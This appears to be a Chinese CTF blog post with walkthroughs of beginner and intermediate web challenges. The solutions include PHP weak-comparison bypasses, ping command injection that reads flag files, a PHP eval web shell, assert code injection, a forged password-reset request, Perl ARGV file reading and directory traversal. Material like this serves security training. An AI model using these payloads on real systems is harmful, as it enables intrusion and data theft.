“我要的不是在寒冬中送我热咖啡的人,而是下雨天陪我一起吃冰的人,我要的不是守护我的人,而是和我一起冒险的人,我要的不是别人,是你”
我不喜欢永远,因为少了一个人 永远就不成立了 下辈子听起来还不错 像是一个浪漫的约定。
下周国赛…
我也不想学习,也不想刷题,可是,没女朋友你还不滚去学习???
初级
simple_php
打开题目,显示代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
思路很清晰,要求a==0且a不为false,b不为数字且b>1234
在php中存在弱类型比较问题。
1
2==: 先将字符串类型转化成相同,再比较
===: 先将字符串类型转化成相同,再比较
字符串和数字比较使用==时,字符串会先转换为数字类型再比较
如:
1
2var_dump('a' == 0);//true,这里'a'会被转换数字0
var_dump('123a' == 123);//true,这里'123a'会被转换为123
所以我们可以使用a=a来绕过前半段,使用1235a绕过后半段,所以最终的payload:
当然,is_numeric()函数也存在漏洞,即不能处理数组。
也可构造如下payload:
得到flag
command_execution1
2
3题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
提示: 命令执行
打开后简单查看了功能,一个简单的ping功能,没有任何过滤。
关于管道符
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
查找flag:127.0.0.1 | find / -name ‘flag‘
打开flag:127.0.0.1 | cat /home/flag.txt
webshell1
2
3题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
提示: php一句话
打开页面上显示:<?php @eval($_POST[‘shell’]);?>
蚁剑连接,发现flag
weak_auth1
2
3题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。
提示: 弱口令
burpsuite爆破,当密码为123456时得到flag
xff_referer1
2
3题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
提示: xff,referer
要求ip为:123.123.123.123,且来自https://www.google.com
一条curl命令搞定:
curl -X GET -H ‘X-Forwarded-For: 123.123.123.123’ -H ‘Referer: https://www.google.com' -i ‘题目地址’
得到flag
simple_js1
2
3题目描述:小宁发现了一个网页,但却一直输不对密码。
提示: javascript,flag格式为Cyberpeace{}
查看源码,找到js代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
其中pass为假密码,可以看到无论输入什么都会返回这个假密码,真正的密码在:
1String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
用python处理一下:
1
2s="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print s
得到55,56,54,79,115,69,114,116,107,49,50
1
2
3s=[55,56,54,79,115,69,114,116,107,49,50]
for i in s:
print(chr(i),end='')
得到786OsErtk12
disabled_button1题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
“右键”–>”审查元素”–>删除”disabled=”””
点击按钮,得到flag
cookie1
2
3题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
提示: cookie
抓包,查看cookie字段,发现:
访问,得到flag
backup1
2
3题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
提示: 备份文件
打开页面,提示:你知道index.php的备份文件名吗?
盲测:index.php.bak
打开后获得flag
robots1
2
3题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
提示: robots.txt
访问robots.txt文件
访问文件f1ag_1s_h3re.php,得到flag
get_post1
2
3题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
提示: http请求方法
打开后提示:
请用GET方式提交一个名为a,值为1的变量
请再以POST方式随便提交一个名为b,值为2的变量
view_source1
2
3题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
提示: 源代码
打开题目后,按照提示查看源代码
发现不能右键,使用view-source:查看
发现flag
中级
PHP2
打开后提示:
Can you anthenticate to this website?
扫描目录发现index.phps
内容如下:
1
2
3
4
5
6
7
8
9not allowed!
"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "
Access granted!
"; echo "
Key: xxxxxxx
"; } ?>
代码逻辑很清晰,get方式获取id并进行url解码后id=admin,即可获得flag,
因为浏览器会自动进行一次解码,所以我们需要进行两次url编码admin,皆可获得flag
PHP
打开页面一片空白,扫描发现index.php~
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
$aaa = $_GET['aaa'];
$aaa=="1"?die("Emmm..."):NULL;
switch ($aaa)
{
case 0:
case 1:
$a=1;
break;
}
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
if(@$bbb["ccc"]){
($bbb["ccc"]>2017)?$b=1:NULL;
}
if(is_array(@$bbb["ddd"])){
if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
$eee = array_search("XMAN", $bbb["ddd"]);
$eee===false?die("Emmm..."):NULL;
foreach($bbb["ddd"] as $key=>$val){
$val==="XMAN"?die("Emmm..."):NULL;
}
$c=1;
}
}
if($a && $b && $c){
include "flag.php";
echo $flag;
}
?>
先分析得出flag的条件if($a && $b && $c) 即这三个参数都为1才出flag, 先分析第一个$a, 这里考察了switch…case的弱类型比较, 用$aaa=1a 即可绕过
分析第二个$b, 判断条件是$bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018aaa’ 即可, 第三个考察的是array_search函数的绕过,和switch..case一样也是弱类型比较绕过, 最后bbb的值应该是
1
2
3
4$bbb = array(
'ccc' => '2018aaa',
'ddd' => array(array(), 0),
);
用json_encode函数加密一下得到{“ccc”:”2018aaa”,”ddd”:[[],0]}
最终的payload为:
/index.php?aaa=1a&bbb={“ccc”:”2018aaa”,”ddd”:[[],0]}
mfw1本题无题干
打开后是一个php+bootstrap的网站,单击页面链接均为如下形式:
目测为文件包含,尝试部分payload后无果,目录扫描发现.git文件泄露
下载后发现flag.php,打开后显示
1
2
3
4<?php
// TODO
// $FLAG = '';
?>
进行日志回溯,
1
2git log flag.php
git diff d2025440d6ac37d834604aaf08438ba563c54647 flag.php
发现没有任何东西.
没办法,查看index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
require_once $file;
?>
代码逻辑很好理解,首先判断page是否存在,不存在则等于home,存在则拼接文件名,然后使用strpos去除..防止目录遍历,然后判断文件是否存在,存在则包含。
但是这样也造成了代码注入问题,如以下payload:
?page=123%27)%20or%20phpinfo();%23
代码部分就变成了assert(“file_exists(‘123’)or phpinfo();#’)”)
我们再来打开flag文件看看
话说为啥直接打开没有呢?emmmm
i-got-id-2001本题无题干
打开后如下:
简单看了下是一个perl的站,但是自己对perl一窍不通…
file界面是一个文件上传界面,上传任何文件都会打印其内容..
简单学习了下perl的上传,猜测可能后台为:
1
2
3
4
5my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) )
{
my $file= $cgi->param( 'file' );
while ( ) { print "$_"; } }
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。
注意ARGV是PERL默认用来接收参数的数组,不管脚本里有没有把它写出来,它始终是存在的。
所以尝试构造
然后使用IFS作为命令分割,搜索得到flag
Easyweb1
打开页面后提示登录操作,页面具有注册、找回密码、登录功能,尝试注册账号。
尝试正常的流程的密码找回,发现流程是通过index.php?module=findpwd&step=2&doSubmit=yes这样的地址进行校验的,于是构造数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /index.php?module=findpwd&step=2&doSubmit=yes HTTP/1.1
Host: 218.2.197.241:21150
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Referer: http://218.2.197.241:21150/index.php?module=findpwd&step=1&doSubmit=yes
Cookie: UM_distinctid=16a10b48a055cd-02118f22bc71408-1369634a-1fa400-16a10b48a06588; CNZZDATA80862620=cnzz_eid%3D1748192288-1555056624-%26ntime%3D1555056624; PHPSESSID=kkb9kt15s85avoscipp2ovaej5
X-Forwarded-For: 8.8.8.8, 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
username=admin&newpwd=123456
成功重置admin的密码
登录后点击任何模块均显示ip不允许.修改ip为127.0.0.1
获得如下提示:
1
盲猜upload
出现上传界面
构造如下数据包,拿到flag
download1
2
3题目描述:简单的目录遍历和任意文件下载,只要在登录之后找到download文件就可以下载任意文件,参数path没有做过滤,../../../../可以遍历目录。
提示: download
打开后是一个登录界面,弱口令admin、admin登录成功
因为题目提示是下载,所以找到下载链接,尝试任意下载..
得到flag